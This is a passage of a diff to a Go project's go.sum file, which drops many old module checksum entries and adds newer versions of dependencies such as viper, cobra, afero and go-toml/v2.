v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= -github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= -github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= -github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= -github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= -github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= -github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= -github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= -github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= -github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= -github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= -github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= @@ -456,46 +201,22 @@ github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3Rllmb github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= -github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= -github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= -github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= -github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= -github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= -github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= -github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= -github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= -github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= -github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= -github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= +github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= +github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= -github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= -github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -503,166 +224,78 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= -github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= -github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= -github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg= -github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= -github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= -github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ= -github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc= -github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= -github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= -github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= -github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= -github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= -github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= -github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= -github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= -github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= -github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= -github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= -github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= -github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= +github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= -github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= -github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= -github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= -github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= -github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= -github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= -github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= -github.com/spf13/afero v1.8.2 h1:xehSyVa0YnHWsJ49JFljMpg1HX19V6NDZ1fkm1Xznbo= -github.com/spf13/afero v1.8.2/go.mod h1:CtAatgMJh6bJEIs48Ay/FOnkljP3WeGUG0MC1RfAqwo= -github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= -github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/afero v1.9.3 h1:41FoI0fD7OR7mGcKE/aOiLkGreyf8ifIOQmJANWogMk= +github.com/spf13/afero v1.9.3/go.mod h1:iUV7ddyEEZPO5gA3zD4fJt6iStLlL+Lg4m2cihcDf8Y= github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= -github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= -github.com/spf13/cobra v1.2.1 h1:+KmjbUw1hriSNMF55oPrkZcb27aECyrj8V2ytv7kWDw= -github.com/spf13/cobra v1.2.1/go.mod h1:ExllRjgxM/piMAM+3tAZvg8fsklGAf3tPfi+i8t68Nk= -github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= -github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= -github.com/spf13/viper v1.8.1/go.mod h1:o0Pch8wJ9BVSWGQMbra6iw0oQ5oktSIBaujf1rJH9Ns= -github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= -github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= +github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= +github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod 